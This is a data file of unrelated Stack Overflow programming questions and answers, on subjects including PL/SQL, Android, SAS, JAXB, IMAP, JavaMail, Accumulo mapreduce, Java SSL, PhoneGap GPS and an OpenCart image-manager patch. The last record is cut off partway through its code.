3487744	0	In PL/sql oracle stored procedure,trying to use analytical functions <p>Is it better to use cursor or analytical functions in a stored procedure for performance improvement?</p>
39520562	0	 <p>You can reference Microsoft.SqlServer.Types and set "Copy Local" in its Properties. Should help.</p>
33516227	0	Eclipse: Error importing android-support-v7-appcompat to workspace <p>I'm new. I use Eclipse.</p> <p>As it is shown in several video tutorials.</p> <p>File> Import -> Existing Android Project -> (Route sdk / extas / android / support / v7 / appcompat).</p> <p>Imports almost all very well, however these errors appear within me res / values-v21</p> <p>[2015-11-04 02:35:50 - android-support-v7-appcompat] D:\workspace\android-support-v7-appcompat\res\values-v21\themes_base.xml:131: error: Error: No resource found that matches the given name: attr 'android:colorPrimaryDark'.</p> <p>[2015-11-04 02:35:50 - android-support-v7-appcompat] [2015-11-04 02:35:50 - android-support-v7-appcompat] D:\workspace\android-support-v7-appcompat\res\values-v21\themes_base.xml:140: error: Error: No resource found that matches the given name: attr 'android:windowElevation'.</p> <p>[2015-11-04 02:35:50 - android-support-v7-appcompat] [2015-11-04 02:35:50 - android-support-v7-appcompat] D:\workspace\android-support-v7-appcompat\res\values-v21\themes_base.xml:144: error: Error: No resource found that matches the given name: attr 'android:windowElevation'.</p> <p>[2015-11-04 02:35:50 - android-support-v7-appcompat] </p> <p>PS: I have updated all my extras. SDK Tools, Android and Android Support Support Repository Library.</p>
9816909	0	 <p>Use the following code:</p> <pre><code>protected void CashPayButton_Click(object sender, EventArgs e) { foreach(Gridviewrow gvr in Cash_GridView.Rows) { if(((CheckBox)gvr.findcontrol("MemberCheck")).Checked == true) { int uPrimaryid= gvr.cells["uPrimaryID"]; } } } </code></pre>
24606235	0	Issue inputing sas date as datalines <p>I've the following code. Though I've entered 30jun1983 it gets saved as 30/jun/2020. And it is reading only when there's two spaces between the date values in the cards and if there's only one space it reads the second value as missing.</p> <pre><code>DATA DIFFERENCE; infile cards dlm=',' dsd; INPUT DATE1 DATE9. Dt2 DATE9.; FORMAT DATE1 DDMMYY10. Dt2 DDMMYY10.; DIFFERENCE=YRDIF(DATE1,Dt2,'ACT/ACT'); DIFFERENCE=ROUND(DIFFERENCE); CARDS; 11MAY2009 30jun1983 ; RUN; </code></pre>
22487714	0	 <p>Use <code>SqlFunctions.DatePart</code> static method. It will be transformed into <code>DATEPART</code> SQL function call in generated SQL query:</p> <blockquote> <p><a href="http://msdn.microsoft.com/en-us/library/dd487171%28v=vs.110%29.aspx" rel="nofollow"><strong><code>SqlFunctions.DatePart</code> Method</strong></a></p> <p>Returns an integer that represents the specified datepart of the specified date.</p> <p>This function is translated to a corresponding function in the database. For information about the corresponding SQL Server function, see DATEPART (Transact-SQL).</p> </blockquote> <p>To get week number, use <code>"week"</code> as parameter.</p>
17582171	0	ServiceStack NUnit Test Debugging Connection Refused Issue <p>In this question: <a href="http://stackoverflow.com/q/16819463/149060">ServiceStack JsonServiceClient based test fails, but service works in browser</a> I'm looking for some clue as to why the test generates an exception, when an interactive browser test succeeds. Originally I could run tests and interact via the browser.</p> <p>Now I'm asking for some direction on how to debug this. Basically, if I step through my test case, I reach a line like this: <code>Tranactions response = client.Get(request);</code> and then it raises an exception. I'm thinking I should download the servicestack source and add the project to my solution, in order to step through that code and get further insight into what's going on. Any advice?</p>
11129015	0	Why KeyPoint "detector" and "extractor" are different operation? <p>Bascially you have first to do a:</p> <pre><code>SurfFeatureDetector surf(400); surf.detect(image1, keypoints1); </code></pre> <p>And then a:</p> <pre><code>surfDesc.compute(image1, keypoints1, descriptors1); </code></pre> <p>Why detect and comput are 2 different operation?<br> Doing the computing after the detect doesn't make redundance loops?</p> <p>I found myself that <code>.compute</code> is the most expensive in my application. </p> <pre><code>.detect </code></pre> <p>is done in <strong>0.2secs</strong></p> <pre><code>.compute </code></pre> <p>Takes <strong>~1sec</strong>. Is there any way to speed up <code>.compute</code> ?</p>
20287627	0	 <p>Without seeing the import statement that you tried, I am not 100% sure about why is that happening... But perhaps the reason is that you are using the default delimiter for fields, which is precisely a comma, so if you want to keep it, you should use a different delimiter, like for example:</p> <pre><code>--fields-terminated-by \t </code></pre> <p>Another option would be to use <code>--enclosed-by '\"'</code>, and it would look like "sami, ramesh".</p> <p>Hope that helps! If it doesn't, please post your import statement to see where the problem is.</p>
37484666	0	Java JAXB binding issues : 1 counts of IllegalAnnotationExceptions <p>I m facing some problems with JAXB , I want to deserilize a <strong>config.xml</strong> file : </p> <pre><code>&lt;configuration&gt; &lt;connectors&gt; &lt;connector name = "cust1"&gt; &lt;entity&gt; &lt;prefix&gt;C_JDD&lt;/prefix&gt; &lt;filename&gt;jdd&lt;/filename&gt; &lt;/entity&gt; &lt;/connector&gt; &lt;connector name = "c2"&gt; &lt;entity&gt; &lt;prefix&gt;pref1&lt;/prefix&gt; &lt;filename&gt;cnt&lt;/filename&gt; &lt;/entity&gt; &lt;entity&gt; &lt;prefix&gt;DD&lt;/prefix&gt; &lt;filename&gt;vhl&lt;/filename&gt; &lt;/entity&gt; &lt;/connector&gt; &lt;/connectors&gt; &lt;/configuration&gt; </code></pre> <p>And here is my class ConnectorsXML (which contains list of connectors) : </p> <pre><code>@XmlAccessorType(XmlAccessType.FIELD) public class ConnectorsXML { @XmlElement(name = "connector") private List&lt;ConnectorXML&gt; connectorsXML = new ArrayList&lt;ConnectorXML&gt;(); } </code></pre> <p>the code of ConnectorXML (abstraction of one connector in the xml) : </p> <pre><code>@XmlAccessorType(XmlAccessType.FIELD) public class ConnectorXML { @XmlAttribute private String name; @XmlElement(name = "entity") private List&lt;EntityXML&gt; entities = new ArrayList&lt;EntityXML&gt;(); } </code></pre> <p>And finally , the class EntityXML , a connector may have a list of entities : </p> <pre><code>@XmlAccessorType(XmlAccessType.FIELD) public class EntityXML { private String prefix ; private String filename; } </code></pre> <p>PS : i ve already generated all getters and setters and also constructors , ( i didnt copy theme here ) .</p> <p>I can't understand why my code throw the exception : 1 counts of IllegalAnnotationExceptions</p>
21302600	0	 <p><strong>Neither are safe</strong>. Please avoid flashy <code>max</code> macro implementations that rely on non-standard C extensions like <em>expression statements</em> which will give you all sort of headaches if you ever have to port your code to a different platform. Doing my best to present this answer from becoming a rant, the <code>max</code> macro is, in my opinion, one of the worst things in C standard libraries due to its potential side-effects. In times past, I've #<code>undef</code>ed <code>max</code> just to be on the safe side.</p> <p>Your're better off coding the second macro <code>maxint</code> as a function as it has all the drawbacks of macros (e.g. can't debug easily, instantiated variables clashing with locals) but none of the benefits (e.g. genericisation).</p> <p><strong>Alternatives</strong>:</p> <p>My favourite: use the ternary inline: <code>a &gt; b ? a : b</code> where you can drop the parentheses to taste since you know exactly what is going on. It will also be faster than macros that try to be safe by taking value copies.</p> <p>Build your own functions. Consider defining <code>max</code> for integral types and <code>fmax</code> for floating point. There is already a precedent here with <code>abs</code> and <code>fabs</code>.</p>
34463290	0	Get unseen messages via IMAP <p>I need to extract some data from new (unseen) messages; I'm trying to make range of that data:</p> <pre><code>c, _ = imap.Dial("someserverr") defer c.Logout(30 * time.Second) fmt.Println("Server says hello:", c.Data[0].Info) c.Data = nil if c.State() == imap.Login { c.Login("somedata", "somedata") } c.Select("INBOX", false) set, _ := imap.NewSeqSet("") fmt.Println("unseen", c.Mailbox.Unseen) fmt.Println(c.Mailbox) if c.Mailbox.Unseen &gt;= 1 { set.AddRange(1, c.Mailbox.Unseen) } else { set.Add("0:0") } </code></pre> <p>The main problem here is command <code>c.Mailbox</code> showing wrong number of unseen messages.</p> <p>For example, if I have 5 unread messages in INBOX it shows 1. If I mark that one as read, it will show 4, and so on.</p>
26668770	0	 <p>Try this:</p> <pre><code> String filename = "example_filename"; Multipart _multipart = new MimeMultipart(); BodyPart messageBodyPart = new MimeBodyPart(); DataSource source = new FileDataSource(filename); messageBodyPart.setDataHandler(new DataHandler(source)); messageBodyPart.setFileName(filename); _multipart.addBodyPart(messageBodyPart); message.setContent(_multipart); </code></pre> <p><strong>EDIT:</strong></p> <p>When you include <code>aFileChooser</code> library, you should create two buttons in your layout of the activity ("Send an email" and "Choose a file"), then in your activity:</p> <pre><code>private Button sendEmail; private Button chooseFileButton; private String filename; private static final int REQUEST_CHOOSER = 1234; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); sendEmail = (Button) findViewById(R.id.send_email_button_id); sendEmail.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { new Thread(new Runnable() { @Override public void run() { try { Properties props = new Properties(); props.put("mail.smtp.auth", "true"); props.put("mail.smtp.starttls.enable", "true"); props.put("mail.smtp.host", "smtp.gmail.com"); props.put("mail.smtp.port", "587"); Session session = Session.getInstance(props, new javax.mail.Authenticator() { protected javax.mail.PasswordAuthentication getPasswordAuthentication() { return new javax.mail.PasswordAuthentication( username, password); } }); // TODO Auto-generated method stub Message message = new MimeMessage(session); message.setFrom(new InternetAddress("from-email@gmail.com")); message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("youremail@gmail.com")); message.setSubject("email"); message.setText("HI," + "\n\n great"); if (!"".equals(filename)) { Multipart _multipart = new MimeMultipart(); BodyPart messageBodyPart = new MimeBodyPart(); DataSource source = new FileDataSource(filename); messageBodyPart.setDataHandler(new DataHandler(source)); messageBodyPart.setFileName(filename); _multipart.addBodyPart(messageBodyPart); message.setContent(_multipart); } Transport.send(message); System.out.println("Done"); } catch (MessagingException e) { throw new RuntimeException(e); } } }).start(); } }); chooseFileButton = (Button) findViewById(R.id.choose_file_button_id); chooseFileButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { // Create the ACTION_GET_CONTENT Intent Intent getContentIntent = FileUtils.createGetContentIntent(); Intent intent = Intent.createChooser(getContentIntent, "Select a file"); startActivityForResult(intent, REQUEST_CHOOSER); } }); } </code></pre> <p>After that add <code>onActivityResult</code> method, where you can get selected filename:</p> <pre><code>@Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { switch (requestCode) { case REQUEST_CHOOSER: if (resultCode == RESULT_OK) { final Uri uri = data.getData(); // Get the File path from the Uri filename = FileUtils.getPath(this, uri); } break; } } </code></pre> <p>Don't forget to add FileChooserActivity to your <code>AndroidManifest.xml</code>:</p> <pre><code>&lt;activity android:name="com.ipaulpro.afilechooser.FileChooserActivity" android:icon="@drawable/ic_launcher" android:enabled="true" android:exported="true" android:label="@string/app_name" &gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.GET_CONTENT" /&gt; &lt;category android:name="android.intent.category.DEFAULT" /&gt; &lt;category android:name="android.intent.category.OPENABLE" /&gt; &lt;data android:mimeType="*/*" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; </code></pre> <p>After that you can send an email, by click on the "Send" button;</p>
19014834	0	Is it possible to associate an instance of an object with one file while it's being mapped by a map-only mapred Job? <p>I want to use a HashSet that exists/works against one file while it's being mapped, and then is reset/recreated when the next file is being mapped. I have modified TextInputFormat to override isSplitable to return false, so that the file is not split up and is processed as a whole by Mappers. Is it possible to do something like this? Or is there another way to do fewer writes to the Accumulo table?</p> <p>Let me start out with I do not believe I want a global variable. I just want to ensure uniqueness and thus write fewer mutations to my Accumulo table.</p> <p>My project is to convert the functionality of the Index.java file from the shard example from a linear accumulo client program to one that uses mapreduce functionality, while still creating the same table in Accumulo. It needs to be mapreduce because that's the buzzword, and in essence it would run faster than a linear program against terabytes of data.</p> <p>Here is the Index code for reference: <a href="http://grepcode.com/file/repo1.maven.org/maven2/org.apache.accumulo/examples-simple/1.4.0/org/apache/accumulo/examples/simple/shard/Index.java" rel="nofollow">http://grepcode.com/file/repo1.maven.org/maven2/org.apache.accumulo/examples-simple/1.4.0/org/apache/accumulo/examples/simple/shard/Index.java</a></p> <p>This program uses a BatchWriter to write Mutations to Accumulo and does it on a per file basis. To ensure it doesn't write more mutations than necessary and to ensure uniqueness (though I do believe Accumulo eventually merges same keys through compaction), Index.java has a HashSet that is used to determine if a word has been run across before. This is all relatively simple to understand.</p> <p>Moving to a map-only mapreduce job is more complex.</p> <p>This was my attempt at mapping, which seems to kinda work from the partial output I've seen the Accumulo table, but runs really really slow compared to the linear program Index.java</p> <pre><code>public static class MapClass extends Mapper&lt;LongWritable,Text,Text,Mutation&gt; { private HashSet&lt;String&gt; tokensSeen = new HashSet&lt;String&gt;(); @Override public void map(LongWritable key, Text value, Context output) throws IOException { FileSplit fileSplit = (FileSplit)output.getInputSplit(); System.out.println("FilePath " + fileSplit.getPath().toString()); String filePath = fileSplit.getPath().toString(); filePath = filePath.replace("unprocessed", "processed"); String[] words = value.toString().split("\\W+"); for (String word : words) { Mutation mutation = new Mutation(genPartition(filePath.hashCode() % 10)); word = word.toLowerCase(); if(!tokensSeen.contains(word)) { tokensSeen.add(word); mutation.put(new Text(word), new Text(filePath), new Value(new byte[0])); } try { output.write(null, mutation); } catch (InterruptedException e) { e.printStackTrace(); } } } } </code></pre> <p><strong>And the slow problem might be the fact that I'm running all of this on a test instance, a single-node instance of Hadoop with ZooKeeper and Accumulo on top.</strong> If that's the case, I just need to find a solution for uniqueness.</p> <p>Any help or advice provided is greatly appreciated.</p>
15633605	0	How to use certificate in https Apache server with client Java <p>I'm using an Apache server to provide a https access to some files in this server. The client use Java program to access these files via a proxy.</p> <p>In my apache configuration:</p> <pre><code>SSLCertificateFile /etc/apache2/ssl/apache.pem </code></pre> <p>The structure of the file <code>apache.pem</code>: </p> <pre><code>-----BEGIN RSA PRIVATE KEY----- -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- -----END CERTIFICATE----- </code></pre> <p>The client code is:</p> <pre><code>public static void main(String[] args) throws IOException { URL website = new URL("https://mywebsite.com/file.zip"); ReadableByteChannel rbc = Channels.newChannel(website.openStream()); FileOutputStream fos = new FileOutputStream("test.zip"); fos.getChannel().transferFrom(rbc, 0, 1 &lt;&lt; 24); } </code></pre> <p>The error is </p> <pre><code>Exception in thread "main" javax.net.ssl.SSLHandshakeException: java.security.cert.CertificateException: No name matching website.com found at sun.security.ssl.Alerts.getSSLException(Alerts.java:192) at sun.security.ssl.SSLSocketImpl.fatal(SSLSocketImpl.java:1697) at sun.security.ssl.Handshaker.fatalSE(Handshaker.java:257) at sun.security.ssl.Handshaker.fatalSE(Handshaker.java:251) at sun.security.ssl.ClientHandshaker.serverCertificate(ClientHandshaker.java:1165) at sun.security.ssl.ClientHandshaker.processMessage(ClientHandshaker.java:154) at sun.security.ssl.Handshaker.processLoop(Handshaker.java:609) at sun.security.ssl.Handshaker.process_record(Handshaker.java:545) at sun.security.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:945) at sun.security.ssl.SSLSocketImpl.performInitialHandshake(SSLSocketImpl.java:1190) at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1217) at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:1201) at sun.net.www.protocol.https.HttpsClient.afterConnect(HttpsClient.java:440) at sun.net.www.protocol.https.AbstractDelegateHttpsURLConnection.connect(AbstractDelegateHttpsURLConnection.java:185) at sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1139) at sun.net.www.protocol.https.HttpsURLConnectionImpl.getInputStream(HttpsURLConnectionImpl.java:254) at java.net.URL.openStream(URL.java:1031) at HelloWorld.main(HelloWorld.java:38) </code></pre> <p>What I need to do to get Java understand my certificate? Do I need to regenerate the certificate with apache tool or java keytool? Thanks</p>
14850241	0	How to Identify the gps is turned off phonegap android <p>I want to figure out the gps is turned on in android device using phonegap. </p> <p>I tried like </p> <pre><code>navigator.geolocation.getCurrentPosition(function onSuccess(position){ console.log("The gps is availabile"); }, function geolocationError(error){ console.log("The geo error : " + error.code +"code : " + PositionError.PERMISSION_DENIED); if( error.code == PositionError.PERMISSION_DENIED ){ alert("Please turn on your gps to start the trip"); }else{ console.log("Gps is turned on. but not availabile"); } },{enableHighAccuracy: true , timeout:10000 }); </code></pre> <p>But when gps is turned off i never gets the <code>PositionError.PERMISSION_DENIED</code> error. Always it shows the <code>PositionError.POSITION_UNAVAILABLE</code> . How i can identify the gps is turned on /off ?.(not the gps availabile or not)</p>
1984966	0	 <p>A lot of people underestimate the performance of java. I was once curious about this as well and wrote a simple program in java and then an equivalent in c (not much more than doing some operation with a for loop and a massive array). I don't recall exact figures, but I do know that java beat out c when the c program was not compiled with any optimization flags (under gcc). As expected, c pulled ahead when I finally compiled it with aggressive optimization. To be honest, it wasn't a scientific experiment by any means, but it did give me a baseline of knowing just where java stood.</p> <p>Of course, java probably falls further behind when you start doing things that require system calls. Though, I have seen 100MB/s read performance with disks and network with java programs running on modest hardware. Not sure what that says exactly, but it does indicate to me that it's good enough for pretty much anything I'll need it for.</p> <p>As for threads, if your java program creates 2 threads, then you have 2 <em>real</em> threads.</p>
30509148	0	 <p>Found a workaround: retrieve text with jQuery object instead of WebElement.</p> <pre><code>$("g.highcharts-axis").find("tspan").jquery.text() == "Total fruit consumption" </code></pre>
15109040	0	Open application without tapping on icon <p>Is there any way by which we can launch the app by the external volume button or by any other gestures made on the iPhone instead of launching by the default way?</p> <p>OR</p> <p>Can our app recognise the users interaction with the volume button when app is in the background?</p>
22143615	0	 <p>Add CSS</p> <pre><code> .test{ position:absolute;} .wrapper{ position:relative} </code></pre> <p>HTML</p> <pre><code>&lt;div class="wrapper"&gt; &lt;div id="1" class="full-circle"&gt;&lt;/div&gt;&amp;#8213; &lt;div id="2" class="full-circle"&gt;&lt;/div&gt;&amp;#8213; &lt;div id="3" class="full-circle"&gt;&lt;/div&gt;&amp;#8213; &lt;div id="4" class="full-circle"&gt;&lt;/div&gt;&amp;#8213; &lt;div id="5" class="full-circle"&gt;&lt;/div&gt;&amp;#8213; &lt;div id="6" class="full-circle"&gt;&lt;/div&gt;&amp;#8213; &lt;div id="7" class="full-circle"&gt;&lt;/div&gt;&amp;#8213; &lt;div id="8" class="full-circle"&gt;&lt;/div&gt;&amp;#8213; &lt;div id="9" class="full-circle"&gt;&lt;/div&gt;&amp;#8213; &lt;div id="10" class="full-circle"&gt;&lt;/div&gt; &lt;/div&gt; </code></pre> <p>add new wrapper div</p> <p>SCRIPT</p> <pre><code>var gCurrentDot = 1; $('.full-circle').click(function() { var pos = $('#'+ gCurrentDot +'').position(); var posLeft = pos.left; var posTop = pos.top; $('body').append('&lt;div class="full-circle-green test"&gt;&lt;/div&gt;'); $('.test').css('left',posLeft).css('top',posTop).animate({height: "30px", width:"30px"}, {duration: 200, complete:function() { $(this).animate({height: "10px", width:"10px"}, {duration: 500}); }}); setTimeout(function () { $('.test').remove(); $('#'+ gCurrentDot +'').addClass('full-circle-green'); gCurrentDot++; }, 500); }); </code></pre>
15733849	0	assignment switch case c ++ <p>Requirements</p> <ol> <li>VULTURE IS V, OWL IS O, EAGLE IS E...</li> <li>A <code>for</code> loop to input the data each bird watcher has collected.</li> <li>inside the <code>for</code> loop, a <code>do ... while</code> loop to input and process the data collected by one bird watcher.</li> <li>inside the <code>do ... while</code> loop a <code>switch</code> statement is used to calculate the number of eggs for each type of bird. the default option, which does nothing, is used when an <code>x</code> is entered.</li> <li>the <code>do ... while</code> loop is exited when an X is entered for the type of bird.</li> <li>The totals part is fine as per code below</li> </ol> <p>ok, now my problem is I can't seem to get through my switch case. It prompts me for the first watcher's info, when I enter it, it never moves over to the next watcher.</p> <p>The input data given is</p> <pre><code>3 E2 O1 V2 E1 O3 X0 V2 V1 O1 E3 O2 E1 X0 V2 E1 X </code></pre> <p>And here is the code that I got so far:</p> <pre><code>#include &lt;iostream&gt; #include &lt;cstdlib&gt; using namespace std; int main() { int totNrVultureEggs, totNrEagleEggs, totNrOwlEggs, nrEggs, nrVultureEggs, nrEagleEggs, nrOwlEggs, nrBirdWatchers, nrEggsEntered; char bird; // initialize grand totals for number of eggs for each type of bird cout &lt;&lt; "How many bird watchers took part in the study?"; cin &gt;&gt; nrBirdWatchers; // loop over number of bird watchers for (int i = 0; i &lt; nrBirdWatchers ;i++ ) { // initialize totals for number of eggs for each type of bird // this bird watcher saw nrVultureEggs = 0; nrEagleEggs = 0; nrOwlEggs = 0; cout &lt;&lt; "\nEnter data for bird watcher " &lt;&lt; i + 1 &lt;&lt; ":" &lt;&lt; endl; //loop over bird watchers do{ cin &gt;&gt; bird &gt;&gt; nrEggs; switch (bird) { case 'E': case 'e': nrEagleEggs = nrEagleEggs + nrEggs; case 'O': case 'o': nrOwlEggs = nrOwlEggs + nrEggs; case 'V': case 'v': nrVultureEggs = nrVultureEggs + nrEggs; default : nrBirdWatchers++; break; } }while (i &lt; nrBirdWatchers ) ; cout &lt;&lt; "Bird watcher " &lt;&lt; i + 1 &lt;&lt; " saw " &lt;&lt; nrVultureEggs; cout &lt;&lt; " vulture eggs, " &lt;&lt; nrEagleEggs &lt;&lt; " eagle eggs and "; cout &lt;&lt; nrOwlEggs &lt;&lt; " owl eggs " &lt;&lt; endl; // increment grand totals for eggs } // display results cout &lt;&lt; "\nTotal number of vulture eggs: " &lt;&lt; totNrVultureEggs; cout &lt;&lt; "\nTotal number of eagle eggs: " &lt;&lt; totNrEagleEggs; cout &lt;&lt; "\nTotal number of owl eggs: " &lt;&lt; totNrOwlEggs; return 0; } </code></pre>
22981385	0	 <p>This is will match a string containing only 0 and 1's.</p> <pre><code>theString.matches("^[01]+$") </code></pre> <ol> <li>The character class [01] matches 0's or 1's</li> <li>The + says match 1 or more of the proceeding character class (so 0 or more 0's or 1's)</li> <li>The ^ and $ says that the entire string must match</li> </ol>
22729937	0	 <p>Apparently, you're not missing anything else. Just try to do the following:</p> <ol> <li>Ensure that the necessary jars exist in the "lib" project folder;</li> <li>Do clean &amp; build;</li> </ol> <p>In the end, you should find those included jars, available within the "build" project folder.</p>
7273371	0	How do I edit and save a nib file at runtime? <p>Imagine an application that has a number of buttons it is displaying to the user. This application wants to allow the user to move the buttons around on the screen, customizing the display, and then save this configuration for later use. That is, when the app is closed and relaunched, it will come back up with the same configuration.</p> <p>I would like to create a nib file with the "factory default" button layout, but then create a new nib file storing the new UI after the user has configured it just the way they like it. How does one do this?</p> <p>Thanks!</p>
15525656	0	 <p>The plugin's 'destroy' method removes the dialog functionality completely. This will return the element <strong>back to its pre-init state</strong>.</p> <pre><code>$( "#yourdiv" ).dialog( "destroy" ); </code></pre>
15757875	0	 <blockquote> <p>Right click on Project--> Properties, Java Build Path.</p> </blockquote> <p><img src="https://i.stack.imgur.com/U06f6.png" alt="enter image description here"></p> <p>Check whether you have JRE installed. If installed click on EDIT and check whether its pointing to correct location</p> <p><img src="https://i.stack.imgur.com/eWXh7.png" alt="enter image description here"></p>
33905084	0	Share Session Variables between projects c# asp.net <p>Is there any way to share Session or any type of variables with their own data between projects? </p> <p>I have a solution wich has 2+ projects in wich I have an object called <code>Users</code>, you login on the first project and I place the whole Users object with all the data in a <code>Session["User"]</code> variable, and I'll like to later access on a different project but having the same stored data.</p> <p>As if in my first project a variable has a value = 1 the second project can read it in the second project in the same solution and still have the same value.</p> <p>EDIT: Found a solution to this within the next link:</p> <p><a href="http://stackoverflow.com/questions/2868316/sharing-sessions-across-applications-using-the-asp-net-session-state-service/3151315#3151315">Sharing sessions across applications using the ASP.NET Session State Service</a></p>
6959481	0	Rails Trying to submit a form onchange of dropdown <p>I have my Ajax working, builtin Rails javascript, with the submit button. However, I would like it to submit when I change the value of the dropdown box and eliminate the button. In my research I found what looks like the correct solution but I get no request to the server. Here is my dropdown form code, note it still has the submit button that worked before I added :onchange:</p> <pre><code> &lt;% form_tag('switch_car', :method =&gt; :put, :remote =&gt; true) do %&gt; &lt;div class="field"&gt; &lt;label&gt;Car Name:&lt;/label&gt; &lt;%= select_tag(:id, options_from_collection_for_select(active_cars, "id", "name"), :onchange =&gt; ("$('switch_car').submit()"))%&gt;&lt;%= submit_tag "Switch Car" %&gt; &lt;/div&gt; &lt;% end %&gt; </code></pre> <p>Here is the HTML generated:</p> <pre><code>&lt;form accept-charset="UTF-8" action="switch_car" data-remote="true" method="post"&gt;&lt;div style="margin:0;padding:0;display:inline"&gt;&lt;input name="utf8" type="hidden" value="&amp;#x2713;" /&gt;&lt;input name="_method" type="hidden" value="put" /&gt;&lt;input name="authenticity_token" type="hidden" value="PEbdqAoiik37lcoP4+v+dakpYxdpMkSm7Ub8eZpdF9I=" /&gt;&lt;/div&gt;&lt;div class="field"&gt; &lt;label&gt;Car Name:&lt;/label&gt; &lt;select id="id" name="id" onchange="$('switch_car').submit()"&gt;&lt;option value="9"&gt;Truck&lt;/option&gt; &lt;option value="10"&gt;Car&lt;/option&gt;&lt;/select&gt;&lt;input name="commit" type="submit" value="Switch Car" /&gt; &lt;/div&gt; </code></pre> <p>Thanks in advance for any help. </p>
36964796	0	OPENCART 2.0 IMAGE MANAGER NOT WORKING <p><strong>IF NOT WORKING THEN CHANGE THE CODE IN FOLLOWING : Admin /conroller / common / filemanager.php</strong></p> <p>BY VINAY SINGH [ vinaysingh43@gmail.com] skype : vinaysingh43</p> <p>or Chagne the Code in line no GLOBAL_BRACE </p> <p>CONSTANT this contstant not wroking wth some server ... </p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;?php class ControllerCommonFileManager extends Controller { public function index() { $this-&gt;load-&gt;language('common/filemanager'); if (isset($this-&gt;request-&gt;get['filter_name'])) { $filter_name = rtrim(str_replace(array('../', '..\\', '..', '*'), '', $this-&gt;request-&gt;get['filter_name']), '/'); } else { $filter_name = null; } // Make sure we have the correct directory if (isset($this-&gt;request-&gt;get['directory'])) { $directory = rtrim(DIR_IMAGE . 'catalog/' . str_replace(array('../', '..\\', '..'), '', $this-&gt;request-&gt;get['directory']), '/'); } else { $directory = DIR_IMAGE . 'catalog'; } if (isset($this-&gt;request-&gt;get['page'])) { $page = $this-&gt;request-&gt;get['page']; } else { $page = 1; } $data['images'] = array(); $this-&gt;load-&gt;model('tool/image'); // Get directories $directories = glob($directory . '/' . $filter_name . '*', GLOB_ONLYDIR); if (!$directories) { $directories = array(); } // Get files // $files = glob($directory . '/' . $filter_name . '*.{jpg,jpeg,png,gif,JPG,JPEG,PNG,GIF}', GLOB_BRACE); $files1 = glob($directory . '/' . $filter_name . '*.jpg'); if (!$files1) { $files1 = array(); } $files2 = glob($directory . '/' . $filter_name . '*.jpeg'); if (!$files2) { $files2 = array(); } $files3 = glob($directory . '/' . $filter_name . '*.JPG'); if (!$files3) { $files3 = array(); } $files4 = glob($directory . '/' . $filter_name . '*.png'); if (!$files4) { $files4 = array(); } $files5 = glob($directory . '/' . $filter_name . '*.JPEG'); if (!$files5) { $files5 = array(); } $files6 = glob($directory . '/' . $filter_name . '*.PNG'); if (!$files6) { $files6 = array(); } $files7 = glob($directory . '/' . $filter_name . '*.GIF'); if (!$files7) { $files7 = array(); } $files8 = glob($directory . '/' . $filter_name . '*.gif'); if (!$files8) { $files8 = array(); } $files = array_merge($files1, $files2,$files3,$files4,$files5,$files6,$files7,$files8); // Merge directories and files $images = array_merge($directories, $files); // Get total number of files and directories $image_total = count($images); // Split the array based on current page number and max number of items per page of 10 $images = array_splice($images, ($page - 1) * 16, 16); foreach ($images as $image) { $name = str_split(basename($image), 14); if (is_dir($image)) { $url = ''; if (isset($this-&gt;request-&gt;get['target'])) { $url .= '&amp;target=' . $this-&gt;request-&gt;get['target']; } if (isset($this-&gt;request-&gt;get['thumb'])) { $url .= '&amp;thumb=' . $this-&gt;request-&gt;get['thumb']; } $data['images'][] = array( 'thumb' =&gt; '', 'name' =&gt; implode(' ', $name), 'type' =&gt; 'directory', 'path' =&gt; utf8_substr($image, utf8_strlen(DIR_IMAGE)), 'href' =&gt; $this-&gt;url-&gt;link('common/filemanager', 'token=' . $this-&gt;session-&gt;data['token'] . '&amp;directory=' . urlencode(utf8_substr($image, utf8_strlen(DIR_IMAGE . 'catalog/'))) . $url, true) ); } elseif (is_file($image)) { // Find which protocol to use to pass the full image link back if ($this-&gt;request-&gt;server['HTTPS']) { $server = HTTPS_CATALOG; } else { $server = HTTP_CATALOG; } $data['images'][] = array( 'thumb' =&gt; $this-&gt;model_tool_image-&gt;resize(utf8_substr($image, utf8_strlen(DIR_IMAGE)), 100, 100), 'name' =&gt; implode(' ', $name), 'type' =&gt; 'image', 'path' =&gt; utf8_substr($image, utf8_strlen(DIR_IMAGE)), 'href' =&gt; $server . 'image/' . utf8_substr($image, utf8_strlen(DIR_IMAGE)) ); } } $data['heading_title'] = $this-&gt;language-&gt;get('heading_title'); $data['text_no_results'] = $this-&gt;language-&gt;get('text_no_results'); $data['text_confirm'] = $this-&gt;language-&gt;get('text_confirm'); $data['entry_search'] = $this-&gt;language-&gt;get('entry_search'); $data['entry_folder'] = $this-&gt;language-&gt;get('entry_folder'); $data['button_parent'] = $this-&gt;language-&gt;get('button_parent'); $data['button_refresh'] = $this-&gt;language-&gt;get('button_refresh'); $data['button_upload'] = $this-&gt;language-&gt;get('button_upload'); $data['button_folder'] = $this-&gt;language-&gt;get('button_folder'); $data['button_delete'] = $this-&gt;language-&gt;get('button_delete'); $data['button_search'] = $this-&gt;language-&gt;get('button_search'); $data['token'] = $this-&gt;session-&gt;data['token']; if (isset($this-&gt;request-&gt;get['directory'])) { $data['directory'] = urlencode($this-&gt;request-&gt;get['directory']); } else { $data['directory'] = ''; } if (isset($this-&gt;request-&gt;get['filter_name'])) { $data['filter_name'] = $this-&gt;request-&gt;get['filter_name']; } else { $data['filter_name'] = ''; } // Return the target ID for the file manager to set the value if (isset($this-&gt;request-&gt;get['target'])) { $data['target'] = $this-&gt;request-&gt;get['target']; } else { $data['target'] = ''; } // Return the thumbnail for the file manager to show a thumbnail if (isset($this-&gt;request-&gt;get['thumb'])) { $data['thumb'] = $this-&gt;request-&gt;get['thumb']; } else { $data['thumb'] = ''; } // Parent $url 